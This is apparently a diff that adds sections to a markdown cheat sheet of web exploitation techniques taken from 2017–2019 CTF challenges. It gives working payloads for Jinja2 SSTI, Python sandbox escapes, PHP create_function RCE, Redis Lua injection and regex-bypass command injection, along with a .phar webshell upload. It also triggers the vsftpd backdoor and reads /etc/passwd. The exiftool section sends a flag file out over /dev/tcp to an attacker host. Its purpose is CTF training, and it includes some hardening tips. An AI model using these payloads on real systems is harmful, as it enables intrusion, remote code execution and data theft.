+ ## Editor Backup File Source Disclosure (h4ckc0n 2017)
408
+
409
+ **Pattern:** Text editors leave backup files alongside the original when saving. These are often left on web servers and served as plain text, leaking PHP source before execution.
410
+
411
+ | Editor | Backup pattern |
412
+ |--------|---------------|
413
+ | gedit | `file~` |
414
+ | vim | `.file.swp` (also `.file.swn`, `.file.swo`) |
415
+ | nano | `file~` |
416
+ | emacs | `file~` and `#file#` |
417
+
418
+ ```bash
419
+ # Check common backup variants for a target file
420
+ TARGET="http://target/checker.php"
421
+ for suffix in "~" ".swp" ".bak" ".orig"; do
422
+ curl -s -o /dev/null -w "%{http_code} $TARGET$suffix\n" "$TARGET$suffix"
423
+ done
424
+ # vim hidden-file backup:
425
+ curl -s "http://target/.checker.php.swp"
426
+ # emacs auto-save:
427
+ curl -s "http://target/#checker.php#"
428
+ ```
429
+
430
+ ```bash
431
+ # Practical: grab vim swap file and recover source
432
+ curl -o checker.swp "http://target/.checker.php.swp"
433
+ vim -r checker.swp # opens recovered file in vim
434
+ # Or: strings checker.swp # quick content extraction
435
+ ```
436
+
437
+ **Key insight:** Always check for `filename~`, `.filename.swp`, `#filename#` variants when hunting for source disclosure. Combine with directory listing or known filenames from JS/HTML comments to enumerate candidates.
438
+
439
+ ---
440
+
441
+ ## date -f Arbitrary File Read (Can-CWIC 2017)
442
+
443
+ **Pattern:** The GNU `date` command's `-f`/`--file` flag reads each line from a file and processes it as a date format string. When user-controlled input reaches a `date` invocation as an argument, this provides arbitrary file read.
444
+
445
+ ```bash
446
+ # Normal behavior: date -f /etc/passwd reads each line as a date string
447
+ # Lines that aren't valid dates print an error message containing the line content
448
+ date -f /etc/passwd
449
+ # Output includes: date: invalid date 'root:x:0:0:root:/root:/bin/bash'
450
+ # → file contents leak through error messages
451
+ ```
452
+
453
+ ```python
454
+ import subprocess
455
+
456
+ # Simulate: if web app passes user arg to date command
457
+ # e.g., os.system(f"date -d '{user_input}'") where user controls the flag value
458
+ # Or: user_input = "-f /etc/passwd" injected into arguments
459
+
460
+ # Brute-force readable files
461
+ targets = ['/etc/passwd', '/flag', '/flag.txt', '/home/ctf/flag']
462
+ for t in targets:
463
+ result = subprocess.run(['date', '-f', t], capture_output=True, text=True)
464
+ print(result.stderr) # errors contain file content
465
+ ```
466
+
467
+ ```bash
468
+ # When command injection is available and date is accessible:
469
+ curl "http://target/cgi-bin/app.cgi" --data "cmd=date+-f+/flag.txt"
470
+ # Response error output reveals flag content
471
+ ```
472
+
473
+ **Key insight:** `date --file` / `date -f` provides arbitrary file read when the `date` command has user-controlled arguments. Error messages include the unrecognized line content, leaking the file line-by-line. Works on any system with GNU coreutils `date`.
474
+
475
+ ---
476
+
477
+ ## Apache mod_rewrite PATH_INFO Bypass (EKOPARTY 2017)
478
+
479
+ **Pattern:** Apache mod_rewrite rules match on the request path using regex. Accessing `/index.php/getflag` matches a permissive rule for `/index.php` (allowing the PHP file to handle the request) before any restrictive rule for `/getflag` applies. PHP receives `/getflag` as `PATH_INFO`.
480
+
481
+ ```apache
482
+ # Vulnerable .htaccess / rewrite rules:
483
+ RewriteRule ^index\.php$ index.php [L] # allows access to index.php
484
+ RewriteRule ^getflag$ /forbidden.html [R,L] # blocks /getflag directly
485
+ ```
486
+
487
+ ```bash
488
+ # Direct access — blocked by second rule:
489
+ curl http://target/getflag # → 403 or redirect to forbidden.html
490
+
491
+ # PATH_INFO bypass — matches first rule, PHP gets PATH_INFO=/getflag:
492
+ curl http://target/index.php/getflag # → executes index.php with PATH_INFO=/getflag
493
+ ```
494
+
495
+ ```php
496
+ // In index.php — reads PATH_INFO to dispatch
497
+ $action = $_SERVER['PATH_INFO']; // "/getflag"
498
+ if ($action === '/getflag') {
499
+ echo $flag;
500
+ }
501
+ ```
502
+
503
+ **Rule ordering matters:** Apache evaluates RewriteRules top-to-bottom and stops at the first `[L]` match. A permissive rule for the PHP file catches `/index.php/anything` before any restrictive rule for the suffix path.
504
+
505
+ **Key insight:** mod_rewrite rule ordering + PHP PATH_INFO interaction: `/index.php/protected-path` bypasses access controls by matching the PHP file rule first. PHP's `$_SERVER['PATH_INFO']` receives the suffix, letting the application's own routing dispatch to the protected handler.
506
+
507
+ ---
508
+
509
+ ## PHP ReDoS to Skip Code Execution (CODE BLUE 2017)
510
+
511
+ **Pattern:** PHP's `preg_match()` is synchronous. When a regex with catastrophic backtracking complexity matches user-controlled input, the PCRE engine times out and `preg_match()` returns `false`. Code that runs after the regex check (e.g., an INSERT into an ACL table) never executes. A missing ACL record then becomes equivalent to having no access restriction — or the most permissive default.
512
+
513
+ ```php
514
+ // Vulnerable pattern: regex check followed by ACL insert
515
+ if (preg_match('/^(ADMIN-+)+$/', $role)) {
516
+ // If this times out (returns false), the block is never entered
517
+ // AND code after the if-block may also be skipped or behave differently
518
+ }
519
+ // ACL INSERT that only runs on successful match:
520
+ $db->query("INSERT INTO acl (user, role) VALUES (?, ?)", [$user, 'ADMIN']);
521
+ // Missing ACL row = no restriction applied
522
+ ```
523
+
524
+ ```python
525
+ import requests
526
+
527
+ # Payload: trigger catastrophic backtracking on the regex (ADMIN-+)+
528
+ # The nested quantifier causes exponential backtracking with enough repetitions
529
+ redos_payload = 'ADMIN-' + '-' * 50 + '!' # trailing ! forces full backtrack
530
+ # Or the classic: ADMIN--(###A)* structure repeated
531
+
532
+ r = requests.post('http://target/register', data={
533
+ 'username': 'victim',
534
+ 'role': redos_payload
535
+ })
536
+ # If the ACL INSERT is skipped, the user now has no restriction on their account
537
+ ```
538
+
539
+ **Backtracking trigger patterns:**
540
+ ```text
541
+ ADMIN--(###A)* repeated 20+ times
542
+ (ADMIN-+)+X where X doesn't match, forcing full backtrack
543
+ ```
544
+
545
+ **Key insight:** PHP ReDoS can skip subsequent code entirely — a timed-out `preg_match()` returns `false` (not `0`), and any code gated on that check (like an ACL table INSERT) is silently skipped. This is not just a DoS: it acts as a code execution bypass when missing side effects change application security state.
546
+
547
+ ---
548
+
549
+ ## Custom Serializer Integer Overflow 256 to 0 Length (Codegate 2018)
550
+
551
+ **Pattern:** A custom PHP file-based database stores records with a format of `<type_byte><length_byte><data>` per field. The length is stored in a single byte (`chr(len)`). When a field value is exactly 256 bytes, `chr(256)` wraps to `\x00` (null byte), making the parser treat the length as 0. The remaining 256 bytes of data spill into subsequent field boundaries, allowing the attacker to overwrite fields like password hash or privilege level.
552
+
553
+ ```python
554
+ import hashlib
555
+ import requests
556
+
557
+ # Custom DB format per field: \x01 (string type) + chr(length) + data
558
+ # Fields stored in order: email, ip, level
559
+ # Goal: overwrite the password hash and level fields by overflowing email
560
+
561
+ # Craft the payload to inject into the "email" field
562
+ target_password = "hacked"
563
+ pw_hash = hashlib.md5(target_password.encode()).hexdigest() # 32 hex chars
564
+
565
+ # These are the fields we want to inject after the overflow
566
+ injected_mail = '\x01\x20' + pw_hash # type=string, len=32, data=md5(pw)
567
+ injected_level = '\x01\x01' + '2' # type=string, len=1, data='2' (admin)
568
+
569
+ # Calculate padding to make total email field exactly 256 bytes
570
+ overhead = len(injected_mail) + len(injected_level) + 2 # +2 for the ip field header
571
+ pad_len = 256 - overhead
572
+ injected_ip = '\x01' + chr(pad_len) + 'A' * pad_len # type=string, padded ip field
573
+
574
+ # Combine: mail_data + ip_data + level_data = 256 bytes total
575
+ # When stored as email field: chr(256) = chr(0) = \x00 → length = 0
576
+ # Parser reads 0 bytes for email, then the 256 bytes become the next fields
577
+ payload_email = injected_mail + injected_ip + injected_level
578
+
579
+ # Register with the overflow payload as the email
580
+ r = requests.post("http://target/register", data={
581
+ "email": payload_email,
582
+ "password": target_password,
583
+ "username": "attacker"
584
+ })
585
+ print(r.text)
586
+ ```
587
+
588
+ ```text
589
+ # How the overflow works in the file-based DB:
590
+
591
+ # Normal record layout:
592
+ # [email_type][email_len][email_data][ip_type][ip_len][ip_data][level_type][level_len][level_data]
593
+ # \x01 \x10 user@x.com \x01 \x09 127.0.0.1 \x01 \x01 1
594
+
595
+ # Overflow: email is 256 bytes → chr(256) = \x00
596
+ # [email_type][0x00][...256 bytes of attacker data...]
597
+ # \x01 \x00 ← parser reads 0 bytes for email
598
+ # ← the 256 bytes are now parsed as ip, level, etc.
599
+ # ← attacker controls password hash and level fields
600
+ ```
601
+
602
+ ```python
603
+ # Generalized overflow finder for custom serialization formats
604
+ def find_overflow_length(field_width_bytes):
605
+ """
606
+ Calculate the overflow value for N-byte length fields.
607
+ 1 byte: overflows at 256 → 0
608
+ 2 bytes: overflows at 65536 → 0
609
+ """
610
+ return 2 ** (8 * field_width_bytes)
611
+
612
+ # 1-byte length: 256 → 0
613
+ assert find_overflow_length(1) == 256
614
+ # 2-byte length: 65536 → 0
615
+ assert find_overflow_length(2) == 65536
616
+ ```
617
+
618
+ **Key insight:** Single-byte length fields overflow at 256 to 0, letting data from one field spill into subsequent fields. Any custom serialization format using fixed-width length fields is vulnerable. Look for field length stored in 1 byte (max 255) or 2 bytes (max 65535). Signs of custom serialization: binary file-based databases, custom session formats, proprietary protocol parsers. The attack requires knowing (or guessing) the exact field order and format in the serialized structure. See also [server-side-deser.md](server-side-deser.md) for standard deserialization attacks.
619
+
620
+ ---
621
+
622
+ ## Unanchored Regex Command Injection (picoCTF 2018)
623
+
624
+ **Pattern:** Input validation uses `preg_match('/^<ip-pattern>/i', $ip)` — missing a trailing `$` end-of-string anchor. The match succeeds as long as the string *starts* with a valid IP, so the attacker appends a semicolon and a shell command that still reaches the later `exec("ping $ip")`.
625
+
626
+ ```php
627
+ // Vulnerable
628
+ if (preg_match('/^(\d{1,3}\.){3}\d{1,3}/', $_GET['ip'])) {
629
+ exec("ping -c 1 " . $_GET['ip']);
630
+ }
631
+ ```
632
+
633
+ ```bash
634
+ curl "http://target/ping.php?ip=1.1.1.1;cat%20/flag.txt"
635
+ # matches ^1.1.1.1 then executes: ping -c 1 1.1.1.1;cat /flag.txt
636
+ ```
637
+
638
+ **Key insight:** `^pattern` without `$` only fixes the prefix, not the suffix. Every form of input validation regex must anchor both ends or use `preg_match('/\A...\z/')`. When auditing, grep for `preg_match('/\^` and check that each hit also has `\$/` or `\\z/`. The same bug appears in JavaScript `String.match` and Python `re.match` (which is implicitly left-anchored but not right-anchored).
639
+
640
+ **References:** picoCTF 2018 — Fancy Alive Monitoring, writeups 11706, 11721, 11761
641
+
642
+ ---
643
+
644
+ ## Jinja2 SSTI via globals.__self__.exec() String Concat Bypass (InCTF 2018)
645
+
646
+ **Pattern:** Template filter blocks `__class__`, `os`, `import`, `eval`, `subprocess`, and a few other literals. Walk from any already-bound Jinja variable to `globals.__self__` (the Python builtins module) and call `exec` on a payload whose forbidden substrings are rebuilt at runtime from string concatenation.
647
+
648
+ ```text
649
+ {{ globals.__self__.exec("imp" + "ort o" + "s;o" + "s.system('cat /flag')") }}
650
+
651
+ # Alternative via any Python object already in context:
652
+ {{ request.__class__.__init__.__globals__.__builtins__.exec(
653
+ "__imp"+"ort__('o'+'s').system('id')"
654
+ ) }}
655
+ ```
656
+
657
+ **Key insight:** Any function object in Jinja's scope exposes `__globals__` (and via that, the real `builtins`). Even when `os`, `import`, and `__class__` are blacklisted, string concatenation and `chr(...)`-style tricks split the forbidden words across literal segments that the pre-render filter never sees joined. To harden, use `jinja2.sandbox.SandboxedEnvironment` instead of a string blocklist.
658
+
659
+ **References:** InCTF 2018 — TorPy, writeup 11519
660
+
661
+ ---
662
+
663
+ ## web.py reparam() eval + __subclasses__ with Blanked Builtins (HITCON 2018)
664
+
665
+ **Pattern:** `web.py`'s `reparam()` calls `eval(expr, {"__builtins__": object()}, context)` to interpolate `${...}` placeholders into SQL. `__builtins__` is replaced with a bare `object()` to block `__import__`, but `[].__class__.__base__.__subclasses__()` still enumerates every loaded class — including `subprocess.Popen`. An SQLi-like injection in the `limit` or `order` parameter escapes into the eval context.
666
+
667
+ ```python
668
+ # web.py 0.38 sink (db.select passes limit through reparam)
669
+ db.select('posts',
670
+ limit=user_input, # interpolated via ${...} eval
671
+ order='ups desc')
672
+
673
+ # Payload — list all subclasses to locate Popen, then call it
674
+ user_input = (
675
+ "1 ${[c for c in ().__class__.__base__.__subclasses__()"
676
+ " if c.__name__ == 'Popen'][0](['/bin/sh','-c','cat /flag'],"
677
+ "stdout=-1).communicate()[0]}"
678
+ )
679
+ ```
680
+
681
+ **Key insight:** Replacing `__builtins__` with a blank object blocks `__import__`, `open`, and `eval`, but class-tree traversal still reaches any module imported before the sandbox was set up. Any Python eval that does not also replace `__builtins__` with `{"__builtins__": {}}` *and* restrict globals is bypassable via `().__class__.__base__.__subclasses__()`. Look for framework-level eval in Django templates (`{% eval %}`), web.py `reparam`, Flask Jinja with custom filters, and Mako `<%...%>` blocks.
682
+
683
+ **References:** HITCON CTF 2018 — Oh My Raddit v2, writeup 11931
684
+
685
+ ---
686
+
687
+ ## Redis Lua Injection via redis.call() (HumanCTF 2018)
688
+
689
+ **Pattern:** Application runs a Redis Lua script with a user-controlled argument that is concatenated into the script source instead of passed as `ARGV`. The attacker breaks out of the string literal and invokes `redis.call('GET', 'admin')` — Lua's direct Redis bridge — to read blocked keys.
690
+
691
+ ```lua
692
+ -- Vulnerable script (string-concatenated)
693
+ local script = "return redis.call('GET', '" .. user_key .. "')"
694
+ redis.eval(script, 0)
695
+ ```
696
+
697
+ ```text
698
+ # Injected parameter
699
+ ?n=123') and redis.call('get', 'admin') --
700
+
701
+ # Final Lua:
702
+ return redis.call('GET', '123') and redis.call('get', 'admin') -- ')
703
+ ```
704
+
705
+ ```python
706
+ import requests
707
+ r = requests.get("http://target/admin", params={
708
+ "n": "123') and redis.call('get', 'admin') --"
709
+ })
710
+ print(r.text)
711
+ ```
712
+
713
+ **Key insight:** Redis Lua scripts expose `redis.call()` and `redis.pcall()` — they are the intended Redis bridge inside Lua, so a blocklist of Redis commands in the HTTP layer is useless once any Lua injection lands. Always pass untrusted values through `KEYS[...]` / `ARGV[...]`, never concatenate them into the script body. When Lua is unavoidable, sandbox the script with `redis-cli SCRIPT LOAD` + signed SHA1 and refuse scripts the client did not precompile.
714
+
715
+ **References:** HumanCTF / HackOver 2018 — No vuln, trust me, writeup 11816
716
+
717
+ ---
718
+
719
+ ## PHP create_function String Interpolation RCE (FireShell 2019)
720
+
721
+ **Pattern:** Classic PHP gadget: server calls `create_function('$a, $b', 'return strcmp($a->'.$order.', $b->'.$order.');')` with a user-controlled `$order`. Supply `; system($_GET[c]); return 0; //` to close the `strcmp` prematurely and run arbitrary PHP inside the generated anonymous function.
722
+
723
+ ```text
724
+ order=;system($_GET[c]);return 0;//
725
+ &c=id
726
+ ```
727
+
728
+ **Key insight:** Any PHP function that builds code from a string and hands it to `eval`/`create_function`/`assert` accepts arbitrary PHP with the right semicolon/comment dance. Grep for `create_function` in legacy codebases — it is removed in PHP 8 but still common in CTFs mirroring 2018-era apps.
729
+
730
+ **References:** FireShell CTF 2019 — Bad injections, writeup 12917
731
+
732
+ ---
733
+
734
+ ## php://input + NULL Byte + ~Bitwise base64 Filter Bypass (DefCamp 2018)
735
+
736
+ **Pattern:** `include` endpoint expects a base64-encoded filename. `base64_decode` fails silently on invalid input, but the filename still gets written out as `$name.php`. Inject `name=z.php%00` to NULL-truncate the written filename, then send `data=_`.`~\x9c\x9e\x8b` via POST → `php://input`. PHP's bitwise-NOT operator (`~`) turns non-base64 bytes into ASCII opcodes like `cat`, evading the base64 validator while still landing executable PHP on disk.
737
+
738
+ ```text
739
+ GET: ?name=z.php%00&file=php://input
740
+ POST body: <?=`~(chr(0x9c).chr(0x9e).chr(0x8b))`?>
741
+ ```
742
+
743
+ Follow up with `GET /z.php?c=cat%20/flag`.
744
+
745
+ **Key insight:** Write-side filters that only check the URL-encoded name are bypassed by `%00`. Read-side filters that only check base64 alphabet are bypassed by PHP's non-string bitwise operators — they generate the same opcodes without ever matching the filter regex.
746
+
747
+ **References:** DefCamp CTF Finals 2018 — Scribbles, writeup 12131
748
+
749
+ ---
750
+
751
+ ## EXIF ImageDescription Shell Injection via exiftool (OTW Advent 2018)
752
+
753
+ **Pattern:** Server runs `exiftool` on uploaded images and pastes the `-ImageDescription` field into a shell command unquoted. Inject `; command` (or `$(cmd)`) directly into the metadata with an attacker-set exiftool write, then upload.
754
+
755
+ ```bash
756
+ exiftool -ImageDescription="Santa ; /bin/bash -c 'cat /opt/flag > /dev/tcp/attacker/8081'" evil.jpg
757
+ curl -F upload=@evil.jpg http://target/
758
+ ```
759
+
760
+ **Key insight:** Image upload sinks that parse metadata with `exiftool`, `identify`, or `ffprobe` often pipe the result straight to `exec`/`system`/`sh -c`. Any metadata string field — `ImageDescription`, `Artist`, `Software`, GPS tags — is a shell injection vector. Fix with `escapeshellarg()` or by exporting metadata as JSON and whitelisting field names.
761
+
762
+ **References:** OverTheWire Advent 2018 — Santa's little recorders, writeup 12753
763
+
764
+ ---
765
+
766
+ ## .phar Extension Bypass for PHP Upload Blacklists (35C3 2018)
767
+
768
+ **Pattern:** Apache's PHP handler also matches `.phar` by default, but upload filters frequently only blacklist `.php`, `.phtml`, `.phps`. Rename your shell to `.phar`, append a PHP payload to a valid image, upload — and the Apache handler parses it as PHP. Works through many XSS-protection / image-upload flows.
769
+
770
+ ```http
771
+ POST /upload HTTP/1.1
772
+ filename=shell.phar
773
+
774
+ [JPEG header] <?php system($_GET["c"]); ?>
775
+ ```
776
+
777
+ **Key insight:** Always enumerate every extension the PHP handler accepts. In default configs that is `.php`, `.phtml`, `.phps`, `.php3`, `.php4`, `.php5`, `.php7`, and `.phar`. Upload blacklists need all of them.
778
+
779
+ **References:** 35C3 CTF 2018 — express-yourself, writeup 12880
780
+
781
+ ---
782
+
783
+ ## vsftpd 2.3.4 Smiley-Face Backdoor (P.W.N. CTF 2018)
784
+
785
+ **Pattern:** vsftpd 2.3.4 shipped with a compromised source release (CVE-2011-2523): any username ending in `:)` triggers a bind shell on TCP port 6200. Detect the vulnerable version via FTP banner or service fingerprint; trigger the backdoor; connect to port 6200 for root shell.
786
+
787
+ ```bash
788
+ ftp target 21
789
+ USER anonymous:)
790
+ nc target 6200
791
+ ```
792
+
793
+ **Key insight:** Supply-chain backdoors live forever. Any FTP server running vsftpd 2.3.4 (version string in the banner) has this. Same class of backdoor hit proftpd-1.3.3c and unreal-ircd-3.2.8.1 — memorise the set.
794
+
795
+ **References:** P.W.N. CTF 2018 — Very Secure FTP, writeup 12060
796
+
797
+ ---
798
+
799
+ *See also: [server-side.md](server-side.md) for core injection attacks (SQLi, SSTI, SSRF, XXE, command injection, PHP type juggling, PHP file inclusion).*